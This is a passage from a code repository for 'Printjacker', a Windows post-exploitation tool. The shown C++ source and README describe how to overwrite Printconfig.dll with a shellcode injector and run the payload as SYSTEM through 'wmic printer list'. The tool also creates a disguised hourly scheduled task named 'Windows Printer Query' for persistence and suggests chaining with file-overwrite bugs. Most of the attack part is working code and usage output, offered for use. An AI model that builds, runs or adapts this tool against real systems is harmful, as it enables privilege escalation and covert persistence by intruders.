113 | printf("\n[-] Failed to delete Printconfig_orig.dll: %d", GetLastError());
114 | return -1;
115 | }
116 | return true;
117 | }
118 |
119 | int wmain(int argc, wchar_t* argv[]) {
120 | printf("# Printjacker - Hijack Printconfig.dll");
121 | printf("\n# Author: millers-crossing");
122 | printf("\n-------------------------------------------------");
123 |
124 | BOOL isFind=false, isHijack=false,
125 | isExecute=false, isSchedule=false, isRestore=false;
126 |
127 | if (argc < 2) {
128 | printf("\n[+] Usage: printjacker.exe [-find] | [-hijack] | [-execute] | [-schedule] | [-restore]");
129 | return 0;
130 | }
131 |
132 | if (!wcscmp(argv[1], L"-find")) isFind = true;
133 | else if (!wcscmp(argv[1], L"-hijack")) isHijack = true;
134 | else if (!wcscmp(argv[1], L"-execute")) isExecute = true;
135 | else if (!wcscmp(argv[1], L"-schedule")) isSchedule = true;
136 | else if (!wcscmp(argv[1], L"-restore")) isRestore = true;
137 | else {
138 | printf("\n[-] Failed to parse parameter. Exiting...");
139 | return -1;
140 | }
141 |
142 | wchar_t PrinterConfigDir[MAX_PATH] = {};
143 | if (!GetDriverDirectory(PrinterConfigDir)) {
144 | printf("\n[-] PrinterConfig.dll cannot be found.");
145 | return -1;
146 | }
147 | printf("\n[*] PrintConfig.dll is found: %ws", PrinterConfigDir);
148 |
149 | if (isFind) {
150 | return 0;
151 | }
152 | else if (isRestore) {
153 | if (!RestorePrinterConfig(PrinterConfigDir)) {
154 | printf("\n[-] Check if you have enough privileges or Printconfig.dll is used by other processes");
155 | }
156 | printf("\n");
157 | return 0;
158 | }
159 |
160 | if (ChangePermissions(PrinterConfigDir) != 0) {
161 | printf("\n[-] Failed to change permissions for the directory: %d", GetLastError());
162 | printf("\n[-] If you have enough privileges, another process may be using Printconfig.dll");
163 | return -1;
164 | }
165 |
166 | //Cautionary Sleep
167 | Sleep(3000);
168 | if (ModifyPrinterConfig(PrinterConfigDir)!=0) {
169 | return -1;
170 | }
171 |
172 | if (isHijack) {
173 | printf("\n[+] Hijack mode succeeded!");
174 | printf("\n[*] Exiting without executing payload");
175 | printf("\n[*] To execute use \"wmic printer list\"");
176 | return 0;
177 | }
178 |
179 | if (isExecute) {
180 | printf("\n[*] Working in Execute mode");
181 | printf("\n[*] Trying to execute payload by using \"wmic printer list\"...\n");
182 | //Run wmic printer list
183 | STARTUPINFO si = { sizeof(si) };
184 | PROCESS_INFORMATION pi;
185 | WCHAR cmdline[MAX_PATH] = L"C:\\windows\\system32\\wbem\\wmic.exe printer list";
186 | CreateProcess(0, cmdline, nullptr, nullptr, 0, 0, nullptr, nullptr, &si, &pi);
187 | Sleep(3000);
188 | return 0;
189 | }
190 | else if (isSchedule) {
191 | printf("\n[*] Working in Schedule mode");
192 | printf("\n[*] Trying to add \"wmic printer list\" to scheduled tasks...\n");
193 | STARTUPINFO si = { sizeof(si) };
194 | PROCESS_INFORMATION pi;
195 | //Change schedule time accordingly
196 | WCHAR cmdline[MAX_PATH] =
197 | L"schtasks.exe /create /sc HOURLY /tn \"Windows Printer Query\" /tr \"%windir%\\system32\\wbem\\wmic.exe printer list\" /mo 5 /F";
198 | CreateProcess(0, cmdline, nullptr, nullptr, 0, 0, nullptr, nullptr, &si, &pi);
199 | WaitForSingleObject(pi.hProcess, INFINITE);
200 | return 0;
201 | }
202 |
203 | return 0;
204 | }
--------------------------------------------------------------------------------
/Printjacker/Printjacker/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by Printjacker.rc
4 | //
5 | #define IDR_FILE1 106
6 |
7 | // Next default values for new objects
8 | //
9 | #ifdef APSTUDIO_INVOKED
10 | #ifndef APSTUDIO_READONLY_SYMBOLS
11 | #define _APS_NEXT_RESOURCE_VALUE 107
12 | #define _APS_NEXT_COMMAND_VALUE 40001
13 | #define _APS_NEXT_CONTROL_VALUE 1001
14 | #define _APS_NEXT_SYMED_VALUE 101
15 | #endif
16 | #endif
17 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # printjacker
2 |
3 | Printjacker is a post-exploitation tool that creates a persistence mechanism by overwriting *Printconfig.dll* with a shellcode injector. The persistence mechanism can be invoked via executing `wmic printer list` command with any user. The shellcode will be executed with **SYSTEM** privileges. Details: [POST.md](POST.md)
4 |
5 | 
6 |
7 | ## Usage
8 | - Change the shellcode in **dllmain.cpp**
9 | - Compile Printjacker with VS2019 (tested). New *printconfig.dll* will be compiled and added to resources of *Printjacker.exe*.
10 | - Execute with Admin privileges.
11 |
12 | ```
13 | .\printjacker.exe [-find] | [-hijack] | [-execute] | [-schedule] | [-restore]
14 | -find : Find the directory of Printconfig.dll
15 | -hijack : Overwrite Printconfig.dll with shellcode injector and copy original to Printconfig_orig.dll
16 | -execute : Hijack Printconfig.dll and execute "wmic printer list" as the current user
17 | -schedule : Hijack printconfig.dll and schedule "wmic printer list"
18 | -restore : Restore Printconfig.dll to original
19 | ```
20 |
21 | - Hijack *Printconfig.dll* and execute the payload
22 | ```
23 | .\printjacker.exe -execute
24 | # Printjacker - Hijack Printconfig.dll
25 | # Author: millers-crossing
26 | -------------------------------------------------
27 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64
28 | ...
29 | ...
30 | [+] Resource is found. Trying to modify the target file...
31 | [+] Original Dll is copied to Princonfig_orig.dll
32 | [+] Printconfig.dll is successfully modified!
33 | [*] Working in Execute mode
34 | [*] Trying to execute payload by using "wmic printer list"...
35 | ...
36 | ```
37 |
38 | - Restore the original *printconfig.dll*
39 | ```
40 | .\printjacker.exe -restore
41 | # Printjacker - Hijack Printconfig.dll
42 | # Author: millers-crossing
43 | -------------------------------------------------
44 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64
45 | [+] Printconfig.dll is restored from Printconfig_orig.dll
46 | ```
47 |
48 | - If you have only file overwrite privilege without command execution, you can still use compiled *printconfig.dll* to gain SYSTEM privileges.
49 | ```
50 | .\printjacker.exe -find
51 | # Printjacker - Hijack Printconfig.dll
52 | # Author: millers-crossing
53 | -------------------------------------------------
54 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64
55 | ```
56 | - Overwrite the original printconfig.dll with your favourite file overwrite vulnerability, then execute `wmic printer list` with any user.
57 |
58 | ## References
59 | Thanks to great works by @SandboxBear, @tiraniddo, @aionescu, @yarden_shafir, @decoder_it, @spotheplanet ...
60 |
61 | - https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/
62 | - https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html
63 | - https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c
64 | - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection
65 |
66 | ## TODO
67 | - Generate pipename from UUID
68 | - Compatibility for x86
69 |
--------------------------------------------------------------------------------
/images/flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RedSection/printjacker/cf212531288ea0a0eb798a84a17dbbb546233618/images/flow.png
--------------------------------------------------------------------------------
/images/trace.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/RedSection/printjacker/cf212531288ea0a0eb798a84a17dbbb546233618/images/trace.png
--------------------------------------------------------------------------------